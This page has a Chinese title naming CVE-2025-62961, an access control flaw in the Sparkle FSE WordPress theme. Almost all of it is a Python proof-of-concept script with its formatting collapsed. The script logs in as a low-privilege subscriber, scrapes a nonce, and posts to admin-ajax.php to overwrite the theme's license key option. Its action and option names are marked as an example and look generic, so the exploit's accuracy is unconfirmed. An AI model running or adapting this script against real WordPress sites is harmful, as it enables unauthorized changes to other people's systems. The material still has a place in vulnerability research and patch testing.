CVE-2025-62961 Sparkle FSE主题越权访问漏洞

import requests import sys # CVE-2025-62961 PoC - Sparkle FSE Broken Access Control # Target: WordPress site with Sparkle FSE theme <= 1.0.9 # Author: Security Research TARGET_URL = "http://target-wordpress-site.com" USERNAME = "subscriber_user" # Low-privilege account PASSWORD = "password123" def get_nonce_and_cookie(): """Obtain authentication cookie and nonce for the attack.""" login_url = f"{TARGET_URL}/wp-login.php" session = requests.Session() login_data = { 'log': USERNAME, 'pwd': PASSWORD, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } response = session.post(login_url, data=login_data) if 'wordpress_logged_in' not in session.cookies.get_dict(): print("[-] Login failed!") return None, None # Get nonce from theme options page options_page = session.get(f"{TARGET_URL}/wp-admin/admin.php?page=sparkle-fse-options") nonce = None import re nonce_match = re.search(r'name="_wpnonce" value="([a-z0-9]+)"', options_page.text) if nonce_match: nonce = nonce_match.group(1) return session.cookies.get_dict(), nonce def exploit_broken_access_control(cookies, nonce): """Exploit the missing authorization vulnerability.""" # Example: Trigger admin-only function with subscriber privileges exploit_data = { 'action': 'sparkle_fse_admin_action', '_wpnonce': nonce, 'option_name': 'sparkle_fse_license_key', 'option_value': 'injected_value' } response = requests.post( f"{TARGET_URL}/wp-admin/admin-ajax.php", data=exploit_data, cookies=cookies ) if response.status_code == 200 and 'success' in response.text: print("[+] Exploitation successful! Unauthorized action executed.") print(f"[+] Response: {response.text}") return True else: print("[-] Exploitation failed or access denied.") return False if __name__ == "__main__": print("[*] CVE-2025-62961 Sparkle FSE PoC") print("[*] Testing for Broken Access Control vulnerability") cookies, nonce = get_nonce_and_cookie() if cookies and nonce: print("[+] Authenticated successfully with low-privilege account") exploit_broken_access_control(cookies, nonce) else: print("[-] Failed to obtain valid session")